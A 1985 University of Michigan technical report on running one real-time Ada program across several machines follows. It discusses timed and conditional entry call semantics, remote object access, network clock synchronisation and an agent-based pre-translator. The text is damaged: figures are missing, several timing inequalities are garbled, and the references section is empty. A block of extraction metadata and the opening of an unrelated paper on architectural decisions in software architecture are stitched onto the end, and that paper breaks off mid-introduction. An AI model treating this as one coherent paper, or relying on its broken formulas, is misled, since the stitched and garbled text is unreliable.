Department of Electrical Engineering and Computer Science
The University of Michigan
Ann Arbor, Michigan 48109-1109
April 1985
CENTER FOR RESEARCH ON INTEGRATED MANUFACTURING
Robot Systems Division
COLLEGE OF ENGINEERING
THE UNIVERSITY OF MICHIGAN
ANN ARBOR, MICHIGAN 48109-1109
1This work is supported by Land Systems Division of General Dynamics under Contract #DEY-600483.
2The Ada Research Group of the Robotics Research Laboratory, Department of Electrical Engineering and Computer Science, The University of Michigan, Ann Arbor, Michigan 48109-1109.
TABLE OF CONTENTS
1. Introduction ................................................................................................................. 3
2. Definitional Issues ......................................................................................................... 4
2.1. Objects of Distribution ......................................................................................... 5
2.2. Conditional Entry Calls ...................................................................................... 5
2.3. Timed Entry Calls ............................................................................................... 6
3. Object Access ................................................................................................................. 6
3.1. Modes of Access .................................................................................................. 7
3.2. Addressing .......................................................................................................... 7
3.2.1. Object Access in Tightly Coupled Machines ............................................. 8
3.2.2. Object Access in Loosely Coupled Machines .......................................... 8
4. Network Timing .............................................................................................................. 9
4.1. Network Sense of Time ....................................................................................... 9
4.2. Timed Entry Call Implementation ....................................................................... 10
4.2.1. Network Time Server .................................................................................. 11
4.2.2. Maintain Synchronism Among Local Clocks .............................................. 12
4.2.3. Rely on the Exported Value of Delay ......................................................... 12
4.2.4. Uniprocessor Considerations ..................................................................... 12
5. Execution Environment ................................................................................................. 13
6. Experimental Translator Implementation ..................................................................... 13
6.1. Translator Strategy .............................................................................................. 13
7. Summary and Conclusions ........................................................................................... 16
ABSTRACT
The Ada Research Group of the Robotics Research Laboratory at The University of Michigan is currently developing a real-time distributed computing capability based upon the premises that real-time distributed languages provide the best approach to real-time distributed computing and, given the focus on the language level, that Ada offers an excellent candidate language. The first phase of the group's work was on analysis of real-time distributed computing. The second, and current, phase is the development of a pre-translator which translates an Ada program into n Ada programs, each being targeted for one of a group of processors and each having required communication support software automatically created and attached by the pre-translator. This paper describes the pre-translator being developed and a number of issues which have arisen with regard to the distributed execution of a single Ada program, including language semantics, objects of distribution and their mutual access, network timing, and execution environments.
1. Introduction
"Ada" is the result of a collective effort to design a common language for programming large scale and real-time systems." So states the foreword to the Ada Language Reference Manual [DoD83]. This statement has often been elaborated to mean that Ada is intended for large, embedded, real-time systems executing in a coordinated fashion on a number of machines. Yet, to date, while tremendous effort has gone into the design of the language, the development of compilers for it, and the development of the Ada Programming System Environment, relatively little emphasis has been placed on the distributed and real-time issues. This paper addresses there latter two issues through the vehicle of distributed language, that is, one in which a single program may be executed on a distributed set of processors.
There are, nevertheless, a number of advantages to the use of a real-time distributed language capability, including:
- Real-time distributed systems are typically large and complex, and, consequently, difficult for a programmer or programming team to mentally encompass. The conceptual advantages associated with viewing the system as one large, highly-structured, program in one language are enormous.
- Interprocessor communication has been found to be one of the most difficult and time consuming aspects of building complex distributed systems [VMG84], [VoM84], [Car84]. If this could be made implicit, the programmer could be spared a great amount of onerous detail. Fortunately, this is usually possible because the compiler can "see" the entire program at one time.
- Modern software concepts such as data and program abstractions [Sha80], and compile time error checking intended for the language level can be applied over the entire system as opposed to just over each of several individual parts with no checking between them.
- Synchronization and timing is, on the one hand, more straightforward for the programmer, while, on the other, the tedious details, as in the case of communication and conversion, are suppressed.
Once the need for a real-time distributed language is accepted, there are three choices: create a new language, modify an existing language, or, if feasible, use an existing one. Ada is an excellent candidate for the latter approach for a number of reasons. The Ada concept was designed to provide modern software tools for programming large, complex systems, to be highly portable, to provide closely monitored standards, to have an excellent support environment, and to provide programming mechanisms for real-time systems. Moreover, it provides mechanisms, e.g. pragmas, which can be implemented defined and are suitable for managing the distribution of a program in situations where the distribution is possible, while remaining consistent with the Ada language definition, even when distribution is not possible.
One approach to the distributed execution of a single Ada program would be to write an entirely new compiler and run-time system to manage the translation, and it may eventually be shown that this is the correct approach. However, it is not clear that enough is yet known about the ramifications arising from distributed execution to make the large investment necessary for this approach worth while. Instead, our group is taking a simpler approach. An experimental pre-translator is being developed which
will translate a single Ada program into a set of inter-communicating Ada source programs, one for each node of the target network. Each of the Ada source programs created: (1) realizes part of the original Ada source program (typically this is close to a copy of a portion of the source); and (2) adds Ada packages to support the harmonious distributed execution of the resultant Ada programs. Each object Ada program is subsequently compiled by an existing Ada compiler for the processor for which the program is targeted, as illustrated in Figure 1.
The development of the pre-translator is intended not only to provide an experimental tool for exploring many aspects of distributed real-time systems, but to expose language and implementation difficulties as well [VMN84]. Work to date has, indeed, revealed a number of problems in the distribution of Ada programs across heterogeneous processors. This paper discusses the more important part of these problems, organizing them under the headings of Definitional Issues, Object Access, Network Timing, and Execution Environments. This is followed by an introduction to the strategy being used to develop the pre-translator. Armitage and Chelini [ArC85] describe somewhat similar issues but in less detail.
2. Definitional Issues
Understanding the legal behavior of an Ada program which executes in a distributed manner requires extended study of the Language Reference Manual (LRM). Some issues which seem clear in the uniprocessor case are less so when distributed execution is considered. This section identifies some of these issues and discusses possible
Figure 1
interpretations.
2.1. Objects of Distribution
The first question facing anyone who wishes to build a system allowing distributed execution of Ada is "What can be distributed?" The Language Reference Manual does not give an answer to this. Nor does it say how the distribution is to be specified. All that can be said is that the distributed execution of the program must be in accordance with the LRM. There are many levels of granularity at which one could define a set of entities to be distributed.
A rather coarse degree of granularity, which could be convenient from the perspective creating machine load units, is the use of packages as the objects of distribution. Through items declared in their visible part they can provide considerable flexibility in the items made available on remote machines. The distribution of most units smaller than packages creates a problem in building load units, as it becomes necessary to embed them within a library unit of some kind. For example, if a task or data item alone is to be distributed how is it to be stored and loaded on the remote machine? Tasks and data items alone can not be compilation units.
Nevertheless, in our experimental system we opted for a fine degree of granularity and allow the distribution of any object that can be created. Any object which can be allocated, data or execution, is allowed to be distributed. This choice was made for two reasons. First, it will allow us to explore the implementation strategies needed for all kinds of objects. Second, taking what are essentially the smallest meaningful distribution objects permits a study of distributed programming styles which is uninhibited by restrictive implementation decisions. The flexibility made possible by these two choices is important because systems that allow distributed execution are new and techniques for writing distributed programs (as opposed to writing collections of cooperating programs) have yet to be created.
2.2. Conditional Entry Calls
Conditional entry calls are a source of possible confusion in the distributed execution of a program due to network delays in calling across machines and the meaning of the word "immediate" in the semantic description of the call. The LRM states that "A conditional entry call issues an entry call that is then cancelled if a rendezvous is not immediately possible." The possible difficulty is in the word "immediate". At least one group [DGC83] has determined that due to network delays, conditional entry calls should always fail when the call is to a remote machine. However, the LRM also suggests a different interpretation when it restates the conditions for cancellation of the call, "The entry call is cancelled if the execution of the called task has not reached a point where it is ready to accept the call, .., or if there are prior queued entry calls for this entry".
If one adds the interpretation "when the call reaches the called task" to the second LRM statement given above, a clear interpretation results. This interpretation is independent of the time required to initiate the rendezvous. It depends only upon the readiness of the called task. This is appropriate. If a sense of time is required, timed entry calls should be used.
2.3. Timed Entry Calls
The timed entry call is the one place in the LRM where an upper bound on the time duration for some action to take place is stated. There are several questions to be considered with respect to timed entry calls. The LRM says both that the entry call "...is cancelled if a rendezvous is not started within a given delay," and that if the "...rendezvous can be started within the specified duration ..., it is performed ...", (emphases added). The former implies that execution of the rendezvous must be started within the delay, while the latter implies only that it be able to be started within the given delay.
In most distributed situations the problem will be complicated, not only by a network delay, but also by an uncertainty in the consistency of the sense of time maintained on two or more processors (see section 4 for a detailed discussion of this point). Since there is likely to be an uncertainty in the difference in the sense of time available on two different processors, it may not be possible to make a precise determination of whether a rendezvous can or cannot be started within a given time interval. However, in many implementations it will be possible to provide bounds on the difference in the sense of time between two processors. This will make it possible to guarantee that if the rendezvous can be started within a calculable bound (as measured on the processor on which the called task resides), the called task can also be started within the given delay as measured on the processor from which the call was made. In these cases, there will be an uncertainty interval in which it will not be possible to determine whether or not the call can be started within the given time delay as measured on the processor from which the call is made.
An interpretation of timed entry calls for the distributed environment which would reflect these considerations would be that "if the call can be guaranteed to be able to start within the given delay it is started, and is cancelled otherwise". For the uncertainty interval, during which it might or might not be possible to start the called task, the timed entry call would be cancelled.
A second issue arises from the statement that timed entry calls with zero or negative delays are to be treated as conditional entry calls. Under the condition that the called task is ready to accept a call, an inconsistency arises with respect to whether the rendezvous is completed or cancelled. Due to delays in network transmission, there will be a set of small delays for which the rendezvous fails, while for delay values either above or below those in the set the rendezvous would succeed. This situation is illustrated in Figure 2 below. To be consistent, there should be a single dividing line, above which the calls succeed (if the called task is ready) and below which they fail. A more consistent statement would result if the LRM did not contain the phrase about treating the case with zero or negative delay as conditional entry calls. Nevertheless, though unfortunate, the LRM does state quite clearly that the situation is as shown in Figure 2.
The implementation aspects of timed entry calls will be discussed further in conjunction with network timing in section 4.
3. Object Access
Timed entry calls succeed | timed calls fail | timed calls succeed
0
delay time
Figure 2 Time entry call success vs. delay time, assuming called task read to accept the call.
3.1. Modes of Access
The structure of Ada permits two different modes of access among execution objects (subprogram units or tasks). One is by passing parameters in subprogram calls or task entries. The other is by shared variables that exist in the common scope of the execution objects.
Ada requires that parameters be passed by copy. To avoid possible inefficiencies parameters that are arrays, records or task types may be passed by reference provided the effect is by copy. In the case of execution objects on tightly coupled machines passing by reference, while keeping the appearance of by copy, can be efficient and makes sense. However, in the case of loosely coupled machines, passing by reference will lead to cross machine communication on each reference to the object passed. It thus seems natural to pass all parameters by copy. When the execution objects communicate over a Local Area Network (LAN), such communications are normally thought of as messages. This leads us to refer to access by copying parameters as message passing.
On the other hand communication between two execution objects through shared variables can be most naturally implemented with a shared logical memory. In the case where the shared logical memory is implemented as a shared physical memory this presents few problems. However, in the case where there is no underlying shared physical memory the run-time system must create the illusion. This leads us to refer to communication through shared variables as shared memory communication. If we return to the case of execution objects communicating over a LAN, but now consider shared variable access, the potential for inefficient communication becomes clear.
3.2. Addressing
The assumption that the objects of distribution may be any object that can be created in the language results in a large set of object access situations which must be explored. Objects may be created in three distinct ways: by declaration statement, by the new allocator, and, in the case of blocks, by their occurrence in the instruction stream. The types of objects which can be created by declaration statements are:
1. Machines that share physical memory.
2. Machines that do not share physical memory.
• scalars
• arrays
• records
• subprograms
• tasks
• packages
• access variables
The complications in object referencing arise primarily when one is implementing shared memory access on loosely coupled machines. The Ada scoping rules make it convenient, though not necessarily well-advised, to write programs in this manner. Comparison with the tightly couple case will clarify this point.
3.2.1. Object Access in Tightly Coupled Machines
In the case of tightly coupled machines, shared data object references can be implemented as in a uniprocessor case. This requires that the underlying hardware memory protection system allow user processes on multiple machines to access the same regions of physical memory, but otherwise creates no problems for handling variables or pointers not already present in the language. Access to remote execution objects requires a signalling mechanism among the processors involved to permit the receipt of a remote call, but requires no special mechanisms for handling the actual parameters of the call. The tradeoffs between communication by shared variables or message passing are the same as for a uniprocessor implementation.
The principal difficulties that accrue to the translation system in the tightly coupled case lie in the recognition that a reference to a remote execution object has occurred. This recognition is straightforward if the distribution specification is done statically. However, if it is to be done dynamically, e.g. by placing a "site" pragma immediately preceding a new allocator for a task instantiation, an implicitly declared and assigned data structure is required to hold an identifier for the processor on which the execution object is to be placed. All references to execution objects via access variables must then reference this implicitly declared variable to determine the residency of the called object.
3.2.2. Object Access in Loosely Coupled Machines
In a loosely coupled architecture, the situation is considerably more involved, some of the solutions considerably less efficient and there are significant differences between shared variable and message passing communication. Each shared variable reference to a remote data object must be translated into a remote procedure call to a server of some kind on the processor holding the object. This server must then perform the required operation, and, if necessary, return a message containing the value of the object. On the other hand, if the variables are communicated via message passing references to them will be to the local copies and communication overhead will be substantially less.
The question of address representation is also immediately raised. The address of an object must include the address of the machine of residence. In the case of static distribution and direct references, this does not necessarily require any change
to the local methods of address representation because the machine of residence can be identified in the pre-translator's symbol table and the pre-translator can place the code so that only local references are necessary, with messages sent between processors as needed.
Additional complications arise with either static or dynamic allocation when access variables are used because the pointer held in an access variable may reference an object on another processor, and the representation of that access variable might be different than the representation of access variables on the machine holding the object. The address of an object may be modeled, though not necessarily implemented, as a record with variant parts; the first component would contain a processor designation, and the variant part would contain the address of the object on the processor on which it resides. Note that this generalized view of addresses is required for pointer variables, though not for direct references, even in the static distribution case because assignments to access variables can change the machine containing the object referenced.
The referencing of remote execution objects requires, as in the shared memory situation, a signalling mechanism to permit the remote machine to receive the call. In this case, however, the actual parameters of the call must be sent to the remote processor, presumably via some type of message passing system. As noted above, for scalar variables the message passing is quite natural, since Ada requires call by copy. Although in the case of arrays and records, the LRM allows call by reference to be used under certain conditions, it would seem more appropriate to use call by copy since otherwise, each reference to the argument will involve the same kind of cross machine communication that occurs in the use of shared variables. The programmer always has the option of using access variables if it really is desired to access the arguments by reference. The problem can be further complicated by the fact that the actual arguments might not reside on the processor from which the call is made. In particular, if they should happen to reside on the same processor as the execution object being called, then in the case of records and arrays, the use of pointers might still be the most efficient method of parameter passing.
4. Network Timing
The Language Reference Manual does not absolutely require that an implementation provide delay timing; it is legal for an implementation to go away and never return on a delay statement. However, for many applications the language would be significantly reduced in utility without this capability. As the principal applications of interest here are real-time systems, all of the discussion in this section is pertinent to the situation in which an implementation does provide timing capabilities.
4.1. Network Sense of Time
The package CALENDAR provides functions which return values of type TIME. The implication is that there is a single sense of TIME throughout at least the execution of the program, if not between different executions of the program. That is, if CLOCK is called twice, with an intervening interval of one second, the calculated difference in the times should be one second. This poses an implementation problem when multiple processors are used for the execution of the program. How is a consistent sense of time maintained across the network? There are at least two possibilities, maintain a network time server to which all processors go when they need a value
for time, or maintain separate but synchronized clocks on each processor. Combinations, of course, are also possible. Each has its own set of problems and limitations.
In the case of the network time server, the principal difficulty occurs because of the time required to access the time server. Two subproblems must be considered, the propagation delay, and interfering access requests. It might be possible to compensate for the first by subtracting the response time from the time returned, if the response time were reliably known. However, the second problem usually injects an uncertainty in the response time from the server. For some timer server configurations, however, it may be possible to bound the uncertainty in the time value returned.
The maintenance of perfectly synchronized local clocks is not possible. The best that can be done is to choose one as a master and update the others from it periodically. Between clock update points, there is an uncertainty of the difference between values of TIME read on different processors. The purpose of updating the clocks is to bound this uncertainty. One might, for example, try to keep this uncertainty less than one half of DURATION'SMALL. One experiment in maintaining synchronization among system clocks has been reported by Gusella and Zatti [GuZ84]. They found that to keep a network of VAX computers and SUN workstations synchronized to within 20 ms required updates once every 173 seconds. Scaling this to 25 microseconds (half of the 50 microsecond DURATION'SMALL recommended in the LRM) is moderately discouraging. Major improvements might be possible, though, by using a more stable clock in each of the processors.
4.2. Timed Entry Call Implementation
Most of the Ada constructs which reference time only require a local sense of time at each processor. For example, a delay statement within a task is simply a local delay with respect to processor on which the task resides. Similarly, the use of a delay alternative in a select statement with an accept statement is strictly local. There is one Ada construct, however, which if implemented in a nontrivial manner requires both an upper bound on the time within which a given action must take place (all other constructs just place lower bounds on time intervals) and a consistent sense of time among the distributed processors. This construct is the timed entry call.
The trivial implementation of the timed entry call would be to say that there is no sense of time (across the network) and therefore that the rendezvous never takes place and the calling unit executes the alternative reference of code. If a nontrivial implementation is to be accomplished, then the timing of the action to be taken on the called unit must be determined with respect to the time scale of the calling unit. Otherwise, the language specification of the LRM cannot be guaranteed.
Consider a timed entry call made at time $t_1$, with a delay $d$, from a processor A to an entry on processor B. The time $t_2 = t_1 + d$ is the time by which the called task must be able to accept the call. Figure 3 illustrates the timing involved for non-negligible network delays. Two cases are shown. For case 1, the called entry is able to accept the call at time $t_2 - \epsilon$ and the rendezvous is accepted. For case 2, time $t_2$ is reached without the entry call being accepted and the timed entry fails. Note that is both cases processor A cannot know whether or not the call was accepted until some time after $t_2$. This requires a liberal interpretation of paragraph 9.8 of the LRM which states that "...the entry call is canceled when the specified duration is expired and the optional sequence of statements of the delay alternative is executed."
(emphasis added). Taking the alternative sequence (if present) at time $t_1 + d + n_d$ on processor A is consistent with the LRM if one takes the view that taking the alternative sequence only means making it ready at some time after $t_2$. The network delay, $n_d$, might or might not be known, or even bounded. It might well be different on the two transmissions. If $n_d > d$, then the rendezvous must fail.
4.2.1. Network Time Server
With a network time server, the scenario would be as follows:
- The processor containing the calling process will obtain the time from the network server and include both it and the specified delay in the timed entry call message sent to the processor holding the called task.
- The processor having the called task will call the network time server to obtain the time at the time the call is received.
- The processor containing the called task will compute the remaining time delay with which the called task is requested to start.
- Local management of the timed entry call will proceed as usual.
In this case the network delay used above must include the two timer server access times in addition to the call transmission time.
In order to obtain an expression for the local delay to be used on processor B in implementing this call, let $t_1'$ be the value returned from the network timer server corresponding to time $t_1$ at which the call was made and $t_2'$ be the value returned corresponding to $t_2$, the time at which the call message is received at processor B. Then, if the error in the times returned is bounded by $d_B$, then the local delay $d_l$ satisfies the following inequality:
\[
\begin{align*}
t_1 &= \text{time of time entry call} \\
d &= \text{delay in timed entry call} \\
n_d &= \text{network delay} \\
t_2 &= t_1 + d = \text{time by which called task must be able to accept.}
\end{align*}
\]
Figure 3
\[
d_t = d - (t_a - t_1) \\
> d + t_1' - t_a' - 2d_B
\]
and the right hand side of the inequality may be used to calculate the local delay on processor B.
4.2.2. Maintain Synchronism Among Local Clocks
An alternative method of providing timing is to maintain synchronism among the local clocks of the processors. Similar to the situation in the previous section, there will be an uncertainty interval in the difference between the measured values of the same instant of time between any pair of processors. For purposes of analysis, take the time measured on processor A as the reference and let \( t^A \), \( t^B \) be the values for time \( t \) as measured on A and B respectively. Let \( |t^A - t^B| \leq d_B \). Then the delay time from \( t_a \) to the upper bound for \( t_2 \) can be bounded as follows.
\[
d_t = d - (t_a^A - t_1^A) = d + t_1^A - t_a^A \\
> d + t_1^A - t_a^A - d_B
\]
The RHS of the inequality can safely be used as a bound on the local delay time from the receipt of the request until the maximum value of \( t_2 \). Similarly, there is a minimum of delay time that can succeed.
\[
d > n_d + d_B
\]
4.2.3. Rely on the Exported Value of Delay
A third mechanism to manage timed entry calls is to export the time from the calling unit and use only this and local timing to manage things on the receiving processor. This requires knowledge, or at least a bound on the network transmission times. If \( |n_d| \leq d_B \), then the receiving unit could use \( d - d_B \) as a local bound on delay until \( t_2 \). The required existence of the bound \( d_B \) in the purest sense imposes limits on the type of network connection. Ethertnets, for example, could not guarantee this bound; on the other hand, they might be acceptable in a practical sense.
4.2.4. Uniprocessor Considerations
Considerations such as those described above can be carried out in a uniprocessor situation as well. For example, the delay \( n_d \) corresponds to the overhead associated with implementing the checking and rendezvous. Indeed, these times should be included in \( n_d \) in the distributed situation as well. Depending upon the granularity of delay interval implemented, \( n_d \) may be significant. This is likely to be the case for most processors at the 50 \( \mu \)second granularity recommended in the LRM and even more likely for the 10 \( \mu \)second granularity discussed for some implementations. Strictly speaking, in these cases a timed entry call for small delays should fail even though a conditional entry call should succeed. This conformance is likely to be very difficult to measure, however.
5. Execution Environment
Implementations of Ada are to provide several predefined packages as part of the environment available to the user. These include STANDARD, CALENDAR and TEXT_IO, and in general, must be available on more than one processor. The questions which arise are the consistency of data objects contained in or generated by subprograms in the package and the need to reference an object in one of these packages on a different processor, e.g. for I/O. These questions do not necessarily create a problem, but do require an awareness on the part of the programmer of the semantics associated with multiple occurrences of these packages.
In package STANDARD, the values for objects like SYSTEM.MIN_INT or SYSTEM.MAX_DIGITS may be different for the different occurrences of the package. Likewise, INTEGER, LONG_INTEGER, SHORT_INTEGER, etc. may have different meanings. The meanings, however, will be correct for the processor on which the package resides, and this is exactly what the programmer will need. As a matter of programming discipline, the programmer may find it useful to make greater use of some of the system descriptive objects to help in writing correct programs which can operate in the distributed environment. The distributed translator, however, must be aware of the possible differences in representation and supply the necessary translations. Also, it will be necessary to check values and, when necessary, raise exceptions, during the translation process.
Particularly in the case of I/O, it may be desired to reference an object supplied by TEXT_I/O from a processor other than the one on which the object resides. By embedding such requests in a block which is placed on the same processor as the referenced TEXT_I/O object, one can avoid the need to invent new naming conventions which might cause difficulties with the current definition of Ada.
Finally, since a fine degree of granularity is used, the implementation must provide a suitable shell (probably a package) to house distributed objects such as data items or tasks.
6. Experimental Translator Implementation
An Ada translator is being implemented which will convert a single Ada program into a set of inter-communicating Ada source programs, one to run on each node of the target network. The individual Ada programs will subsequently be compiled by existing Ada compilers, as illustrated in Figure 1. The mapping of objects to network nodes will be indicated by a pragma named SITE(.). When placed immediately before an object declaration, a new allocator or the occurrence of a block in the instruction stream this pragma will cause the following object to placed on the machine designator given as the parameter to the pragma. Any object created without a SITE pragma preceding it is assigned to the same node as the program unit in which the creation occurs. An alternative mapping scheme would use a distribution language which allows the same mapping information to be specified separately from the program itself as a sort of postscript [Cor84].
6.1. Translator Strategy
The global strategy for handling cross-machine references is based on the static construction of one or more special executable objects called agents. Each agent is
designed to serve one particular executable object of the original program which makes an off-machine reference. The original executable object is called the master, to distinguish it from its agents. The agents will typically be of the same type as their masters. If during execution a master should need to access data or code located on a remote machine, it will order its agent on that machine to access the data or code for it. One master task may thus have several agents and in the extreme case, may need an agent on each of the other machines in the network.
To illustrate the general translation scheme, Figure 4 shows the source program and the translations of a distributed program for an autonomous vehicle. The example system has three interacting tasks: a planner, a vision system, and a drive control. The tasks are labeled PLANNER, CAMERA, and WHEELS, respectively. In the source program they are targeted for three different nodes. The translator will produce the three output programs shown. Note how PLANNER, itself residing on M3, has indirect access to both CAMERA through AGENT OF PLANNER ON M1, and WHEELS via AGENT OF PLANNER ON M2. For example, if the original PLANNER calls a procedure P within CAMERA, PLANNER will be modified so that instead making the reference directly, which is not possible, it will place the parameters of the call in a message which in then sends to its agent residing on M1.
Figure 4 Distribution of source program to separate machine with agents inserted to represent task on remote machines.
PLANNER’s agent will receive the message, decode it, and discover that its master is attempting to call procedure P and, using the parameters that were included in the message, the agent will make the procedure call on its master’s behalf. After the call is done the agent will copy any out parameters into a message which is then sent back to the master PLANNER. The master copies these parameter values from the returned message into its local variables and, having completed the call to the remote procedure P, it continues execution.
The translator can be constructed in two distinct passes. The first pass produces an agent structure for each processor which is copy of the original program structure. Each executable object will have an agent on each processor which it (or an object it contains) references. The agents will be of the same type and will be nested in exactly the same manner as their masters, thus preserving the proper scope of objects created within them. This scheme, while generally applicable, can produce unnecessary messages among the processors (see further discussion below). The second pass is an optimization pass which removes these unnecessary messages.
More specifically, the first pass involves three basic operations, one on overall program structure, one on object declarations or blocks, and one on executable statements. The first operation forms the distributed structure of the output code, maps the input program into the appropriate parts and creates the necessary agents. It begins by extracting the skeleton of frames of executable objects, where the skeleton consists of the following parts:
- An opening line which marks the beginning of the frame, e.g. “declare” for a block or “procedure main is” for a procedure,
- The keyword “begin” which separates the declarative region of the frame from its executable code,
- The “end” statement which closes the frame.
These frame skeletons, reflect the nesting of the frames of the program. On the one node to which a frame is mapped, the skeleton encloses master version of the frame. On all others, an agent is created from the skeleton by adding an infinite loop which begins each iteration waiting for a command (message) from the master. After receiving a message, it executes a case statement which contains one choice for each of the remote operations required by the master. The agent uses the command to index into the case statement.
An agent is able to respond to any remote request it may receive from its master as long as both master and agent are in corresponding nesting levels in the program structure. To ensure that this correspondence exists, each agent will enter and exit its version of a frame in synchronism with its master. To illustrate, suppose that PLANNER is about to call procedure P, also located on M3. PLANNER’s agents will have been executing server loops enclosed in their versions of the task PLANNER frame. Just before calling procedure P, PLANNER notifies its agents of the impending procedure call allowing them to switch frames as well. One of the advantages of this scheme is that any remote objects which have been declared in P will be allocated automatically as the agents enter their P frames.
The operation on data object declarations is fairly straightforward. An object resides only on the node to which it is mapped. There are multiple output streams, one for each machine in the network, and all streams are in synchronism with respect
to the code being emitted. The declaration is simply placed in the skeleton of the agent for the machine on which the object is to be located.
The situation for remote object creation via allocators is slightly more complex, as it is both a run-time activity and involves pointers. The allocation expression is placed in the appropriate agent in a manner similar to the way declarations are handled, and the statement in original program is replaced by a remote procedure call to the agent, as described below. The pointer variable is placed in a record structure as described earlier.
Within an execution object, off-machine subprogram or task entry calls are replaced by remote subprogram calls to the appropriate agent which makes the call on behalf of the master and returns whatever results are required. Each reference to an off-machine data object, e.g. remote shared variables, is replaced by a remote subprogram call to the agent on the machine holding the referenced object, with an appropriate command code and any parameters required encoded into the call. If required, values are returned as function results, and used as normal in executing the statement in which the reference occurs.
7. Summary and Conclusions
A number of important issues which occur in the distributed execution of a single Ada program have been raised, and an experimental implementation of a translator which allows distributed execution described. The issues raised include the interpretation of the LRM in the context of distributed execution (e.g. constructs such as conditional and timed entry calls), the need for a consistent network view of time, and a number of implementation problems such as remote object access, network time management, data and address representations, and execution environments.
The experimental translator allows any data or named execution object to be distributed. It recognizes a pragma type named SITE as specifying the distribution. The translator takes a single Ada program as input and produces a set of Ada programs, one for each processor in the distributed computer network, as output. The general strategy for the implementation has been developed, and at the time of this writing, the translator is functional, but only partially complete, handling only simple distribution of tasks with no entry parameters.
References
|
{"Source-Url": "http://web.eecs.umich.edu/~tnm/trev_test/techRepts/1985.04.Some%20Problems%20in%20Distributing%20Real-Time%20Ada%20ProgramsAcross%20Machines_TR.pdf", "len_cl100k_base": 8490, "olmocr-version": "0.1.53", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 22860, "total-output-tokens": 9976, "length": "2e13", "weborganizer": {"__label__adult": 0.00033283233642578125, "__label__art_design": 0.00037288665771484375, "__label__crime_law": 0.0003292560577392578, "__label__education_jobs": 0.0007576942443847656, "__label__entertainment": 6.29425048828125e-05, "__label__fashion_beauty": 0.0001633167266845703, "__label__finance_business": 0.00029349327087402344, "__label__food_dining": 0.00031566619873046875, "__label__games": 0.0005321502685546875, "__label__hardware": 0.0030803680419921875, "__label__health": 0.0005130767822265625, "__label__history": 0.0002841949462890625, "__label__home_hobbies": 0.00012040138244628906, "__label__industrial": 0.0010042190551757812, "__label__literature": 0.00020885467529296875, "__label__politics": 0.0002474784851074219, "__label__religion": 0.0005106925964355469, "__label__science_tech": 0.08355712890625, "__label__social_life": 6.282329559326172e-05, "__label__software": 0.0106048583984375, "__label__software_dev": 0.89501953125, "__label__sports_fitness": 0.00029659271240234375, "__label__transportation": 0.0010128021240234375, "__label__travel": 0.00019657611846923828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 45787, 0.03133]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 45787, 0.56855]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 45787, 0.91452]], "google_gemma-3-12b-it_contains_pii": [[0, 294, false], [294, 988, null], [988, 3541, null], [3541, 4588, null], [4588, 7977, null], [7977, 9603, null], [9603, 12852, null], [12852, 16136, null], [16136, 18545, null], [18545, 21422, null], [21422, 24985, null], [24985, 28742, null], [28742, 30622, null], [30622, 33253, null], [33253, 36504, null], [36504, 38052, null], [38052, 41537, null], [41537, 44769, null], [44769, 45787, null], [45787, 45787, null]], "google_gemma-3-12b-it_is_public_document": [[0, 294, true], [294, 988, null], [988, 3541, null], [3541, 4588, null], [4588, 7977, null], [7977, 9603, null], [9603, 12852, null], [12852, 16136, null], [16136, 18545, null], [18545, 21422, null], [21422, 24985, null], [24985, 28742, null], [28742, 30622, null], [30622, 33253, null], [33253, 36504, null], [36504, 38052, null], [38052, 41537, null], [41537, 44769, null], [44769, 45787, null], [45787, 45787, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 45787, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 45787, null]], "pdf_page_numbers": [[0, 294, 1], [294, 988, 2], [988, 3541, 3], [3541, 4588, 4], [4588, 7977, 5], [7977, 9603, 6], [9603, 12852, 7], [12852, 16136, 8], [16136, 18545, 9], [18545, 21422, 10], [21422, 24985, 11], [24985, 28742, 12], [28742, 30622, 13], [30622, 33253, 14], [33253, 36504, 15], [36504, 38052, 16], [38052, 41537, 17], [41537, 44769, 18], [44769, 45787, 19], [45787, 45787, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 45787, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
65c6a0d339f7796daa56c221d0d3a56e33b6131d
|
Using Architectural Decisions
Jan S. van der Ven, Anton Jansen, Paris Avgeriou, and Dieter K. Hammer
University of Groningen, Department of Mathematics and Computing Science,
PO Box 800, 9700AV Groningen, The Netherlands,
[salvador|anton|paris|dieter]@cs.rug.nl,
WWW home page: http://search.cs.rug.nl
Abstract—There are increasing demands for the explicit representation and subsequent sharing and usage of architectural decisions in the software architecting process. However, there is little known on how to use these architectural decisions, or what type of stakeholders need to use them. This paper presents a use case model that arose from industrial needs, and is meant to explore how these needs can be satisfied through the effective usage of architectural decisions by the relevant stakeholders. The use cases are currently being validated in practice through industrial case studies. As a result of this validation, we argue that the usage of architectural decisions by the corresponding stakeholders can enhance the quality of software architecture.
I. INTRODUCTION
One of the proposed ways to advance the quality of software architecture is the treatment of architectural decisions [1], [2], [3], [4] as first-class entities and their explicit representation in the architectural documentation. From this point of view, a software system’s architecture is no longer perceived as interacting components and connectors, but rather as a set of architectural decisions [5]. The main reason that this paradigm shift improves the quality of software architecture is that it reduces Architectural Knowledge Vaporization [1], [5]. It is presently not possible to completely eliminate vaporization, as the result still depends on the judgment and the chosen tradeoffs that the architect makes.
